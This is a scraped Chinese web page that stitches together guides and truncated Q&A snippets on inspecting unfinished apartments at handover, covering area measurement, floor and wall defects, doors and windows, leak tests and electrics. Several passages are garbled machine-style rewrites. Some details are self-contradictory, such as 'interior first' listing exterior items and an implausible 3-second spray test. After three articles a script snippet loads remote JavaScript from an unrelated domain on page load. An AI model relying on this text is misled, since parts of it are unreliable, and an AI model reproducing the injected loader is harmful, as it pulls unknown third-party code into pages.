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毛坯房如何验收?
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毛坯房验收顺序
1、先看内部
外立面、外墙瓷砖、涂料、门、楼道等。
2、检查内部
门、窗、天棚、墙面、墙砖、地砖、防水存水、强弱电、煤气、通风、排气。
3、后测相邻
闭存水实验、水表空转等问题必须和楼上楼下的邻居配合检查。
三、毛坯房验收内容
1、净面积测量、开间进深及净高尺寸测量
用尺子测量房间的实际面积。根据房屋交接书中提供的套内建筑面积和图纸为依据,实地测量,如果误差较大可以要求开发商或委托专业机构复测。也可以请装修公司派人来直接量尺寸,省去以后的麻烦。
测量层高是否达到要求。建筑层实际高度不能低于2.6米,层高3米的实际高度不能低于2.75米,住宅层高不能低于2.8米。测量层高很简单,把尺顺着其中的两堵墙的阴角测量,尽量多测几处。
2、楼地面空鼓、裂缝、起沙检验
地面是否平整:地面不平一般来讲有两种情况,一是局部地方不平,有小坑小洞,这种情况主要出现在墙角或门角的地方;一是大面积范围不平。这种情况用目测或者利用红外线水平仪可以检查出来,如果出现不平一定要重新找平,否则无论你是铺瓷砖还是普地板都会受到影响。
地面开裂一般目测就能看出来了,但是否空鼓则需要利用质检锤工具来检测,一般情况下裂纹和空鼓都会同时出现,但是二者也有单独出现的情况。地面空鼓和开裂会直接影响到后期的装修施工,因此在验收的时候一定要慎重细心。
地面是否有起砂现象:地表面有浮灰、浮沙,松软、强度差;一般原因是:水泥标号不标准或过期,沙子的含泥量过大,水泥砂浆比例不当,养护不到位……等都会造成地面起砂现象。
3、墙空鼓、裂缝、龟裂、爆灰、平整度、阴阳角检查
查验墙面的垂直度和平整度:墙面除了要检查其平整度之外,还要查验墙面是否垂直,是否有倾斜的问题出现。墙面的平整度和垂直度除了用目测之外还可以通过靠尺和角尺等工具来检验。
查验墙面是否有裂纹和空鼓问题:墙面的裂纹可以直接目测到,墙面的空鼓需要用质检锤敲击才能检测出来。
检查墙面是否方正:两个相邻墙面是否成90度角,这个可以用角尺来检验;两个相对的墙面是否平行等。
查验墙面阴阳角是否顺直:墙面的阴阳角(墙角外阳里阴)验收时需要仔细检查墙面的阴阳角是否顺直。
4、门、窗安装质量及配件检验
门窗工程关乎业主的居住安全,业主在收房验房的时侯除了要仔细核对型材是否与合同上的一致之外,主要是检查门窗闭合的灵活性,密封性,零配件是否短缺损坏等。
5、进行渗漏试验
闭水试验:指做好挡水墙在待试验空间蓄水,检验是否有渗漏现象。
淋水试验:对于轻质墙体防水施工的验收,应采取淋水试验,即使用水管在做好防水涂料的墙面上自上而下不间断喷淋3秒,4小时以后观察墙体的另一侧是否会出现渗透现象,如果无渗透现象出现即可认为墙面防水施工验收合格。
6、电路绝缘、接地试验
除了要检查电闸、开关和线路没有问题,还要做好电路绝缘和接地实验,确保家居用电的安全。
7、给、排水安装质量检验
毛坯房给排水工程验收主要是检查冷热排水管安装的规范性、给水管的接头严密性、是否有渗漏水现象;此外水表、地漏、排水管是否通畅也是需要特别注意的地方。
8、核对购房合同的附件及配套设施
验收房子的时候,要仔细核对购房合同上列明的一些附件和配套设施如景观绿化、小区配套、设施标准等是否符合合同约定,如出现不符现象要尽快跟开发商进行协商解决。
9、顶棚检验
要注意屋顶是否存在裂缝,没有最好,如果有就要看是什么样的裂缝,如果裂缝与墙角呈45度斜角,甚至与横梁呈垂直状态,那么房屋很可能存在沉降问题和结构性质量问题。还要看顶部是否有水渍,如果有很可能存在渗漏的问题,特别是买顶层的消费者一定要注意。
10、其他细部结构检验
对一些边边角角的地方做仔细检查,如卫生间门口是否有挡水条,窗子是否会存在雨水流入,开关插座面板是否存在划痕,浴室五金安装位置是否合理等等。
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问如何验收新房毛坯房啊?
答要想验收毛坯房的话,可以试试看几个关键地方: 1、用小夜灯插入所有的插座,检查电源线路是否完好,和小夜灯插脚不一致的插座,用转换插头就可以了。 2、用随
问毛坯房收楼要注意什么?如何验收毛坯房?
答许多人如何验收毛坯房的思路并不是很清晰,先看什么,后看什么?毛坯房的验收看似简单,其实它并不比精装房的验收要轻松。毛坯房的验收首先是门窗的质量。门的密封度,
问毛坯房如何装修?
答1、毛坯房装修找到可靠的装修公司,好的设计公司可以把你的房间打造成为你想要的一种效果。让你每一天都居住在一个非常美好的环境里面。 2、首先最要做的就是一些
问毛坯房交房怎么验收?
答验房程序:查看两书一表一数:房屋质量保证书;房屋使用说明书;竣工验收备案表;面积实测数据对照购房合同上的面积(自己可实测套内面积)。《住宅工程质量分户验收管
问毛坯房验收步骤谁能说下?
答毛坯房验收步骤有以下这些: 1.核对购房合同的附件及配套设施;交合理费用(包括:物业管理费、装修押金、垃圾清运费)。 2.净面积测量、开间进深及净高尺寸
如何验收期房 毛坯房应该如何验收
期房交房一般分精装和毛坯,在验收的时候有着很大的区别,很多业主觉得精装房需要仔细验收,毛坯房看看格局就好,却忽略了毛坯房验收结果会影响到后续的装修。那么,如何验收期房呢?一、如何验收期房之房屋面积测量房屋的面积,核实与购买面积是否一致,如果面积对比误差超过3%,可以要求开发商退房。二、如何验收期房之门窗检查室内门窗,现在的房子大多数都是高层,门窗的质量与居住安全息息相关,很多家庭在装修时只更换门,而不会换窗户,因此在验收时要仔细检查门窗品牌与合同上的是否一致。如果不准备更换门,也要检查门是否有破损变形,在后续装修中,各种装修材料进出,非常容易刮伤门板,提前做好验收,可防止后期装修人员推卸责任。检查室内窗户的密封条和滑轮、玻璃等是否破损,开关是否灵活。三、如何验收期房之墙面和地面检查墙面和地面,墙面和地面是出现问题比较多的地方,一些小瑕疵可以通过装修来弥补,例如与横梁平行的墙面有裂缝,一般不存在危险,可直接让装修工人填补,但如果裂缝横梁垂直,表明沉降严重,要及时与物业相关人员沟通。检查墙面空鼓、爆灰、起粉现象,轻微的可以后期修补,严重的也要及时与相关人员联系处理。四、如何验收期房之水电和燃气验收检查燃气报警器是否灵敏,报警时阀门是否能够自动关闭。下水管是否有破损或修补迹象,卫生间是否有预留通风口。将水阀打开,检查水管能否顺畅出水,并观察水管是否有漏水现象。检查阳台顶部排水管及周围是否有渗漏。以上就是如何验收期房毛坯房的内容,一定要先验后收,避免收房后产生纠纷。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
什么叫毛坯房 交房时毛坯房该如何验收
当我们买房时,我们会遇到很多专业术语。例如,房子有许多不同类型的。毛坯房,精装房和二手房有不同的意思。什么叫毛坯房?购买毛坯房后,它涉及验收的问题。那么什么叫毛坯房,交房时毛坯房该如何验收?一、什么叫毛坯房,需要准备的验收工具毛坯房是房子销售中的普通房子。粗糙的房子也被称为“第一次装修房子”。在大多数房屋中,只有门框没有门,墙面仅作为底座处理,未经过表面处理。房屋外的阳台和防雨罩的外部装饰应根据规划文件完成,因此我们收到房屋时无需拥有与精装房一样多的验收项目。验收房子时我们要准备相位检测器、卷尺等各种工具。二、什么叫毛坯房,交房时如何验收1、在接受之前询问开发人员相关文件。认识什么叫毛坯房,并根据实际报告数据的区域(覆盖调查组的公章)来比较购买合同的面积。2、签字付款:如果在检查过程中发现问题,付款和签字就不容易。您应首先将问题报告给开发人员进行维修,并收集证据以备将来证明(即通过录音机、数码相机或数码相机、日期记录证据)奠定了良好的基础,并保存自己的房屋检查报告。3、确认什么叫毛坯房后,要知道房屋的总面积超过或减少不到3%是很常见的。(对所有者有更多的补偿,损失是所有者。)在检查房屋时要注意区域的大小。4、记录房屋的验收情况,例如《验房交接表》。据了解,一些开发商为了简化验收过程,还为了避免接受纠纷,将要求业主签署需要签署的表格,然后工作人员陪同业主检查房屋,甚至通过不给钥匙来威胁所有者。5、电气工程检查,包括检查电气设备、检查室内配电箱、检查插座、检查电位、电路是否正确。6、若房子状况良好,在签署业主大会和物业前管理合同时,您对条款持乐观态度,不能放弃您的权利。7、要了解什么叫毛坯房,组织收集的相关数据:如何测量建筑面积、测量房屋的室内净高度、测量阳台或护栏的高度、填写雇主的评估表、以及粗糙房屋的关键基础数据。什么叫毛坯房,交房时毛坯房该如何验收的一些标准。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
毛坯房如何验房 主要验收哪些方面
尽管许多业主选择精装房,但仍有不少业主仍然喜欢根据自己的意愿来装修装饰,毛胚房是一个不错的选择。毛胚房在交房之前同样需要仔细检查房屋,虽然不和精装房验收装修成品及效果,但是关系到房屋整体结构和基本工程。因此需要了解验房的程序和要点,那么毛坯房如何验房?主要有文件、门窗、墙体地面、水电等方面。一、毛坯房如何验房-验收文件按照规定预售房的面积和交房测量时3%的误差都属于国家允许范围,在收楼通知之前,有关部门会进行面积的测量,如果面积差的太大会进行相应补偿。毛胚房验房程序的第一步,就是验收相关房屋证明的文件,从而检验房屋各方面的达标状况。二、毛坯房如何验房-验收门窗首先查看门窗是否有划痕、凹痕和其他损坏,安装位置是否正当,开关的时候是否灵活、有无异常声音,注意锁柄是否牢固,比如说猫眼、锁孔片等配件是否安装齐全。此外验房前备好房屋装修各类型的图纸,不仅应该有房屋的平面图,而且有电路、水路设计图。三、毛坯房如何验房—验收墙体地面可以用泼水方法来检查地面的倾斜度,毛胚房这些小缺陷可以在装修期间得到修复。如果房间是由预制板或现浇板制成,则应使用腻子涂抹,以实现平坦度、无裂缝,表面光滑、颜色基本均匀并且线角直,确保每个房间每层的地面混凝土应该是表面水平、牢固的。四、毛坯房如何验房-验收水电水电是整个房子的经络,如果不达标,生活的基本需求将来也会有问题。因此有必要检查水电基础设施。检查水管是否光滑,冲洗声是否正常。检查房屋内的弱电路径是否畅通无阻,需要用兆欧表测试房屋内电线的绝缘电阻值,以确保安全使用。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
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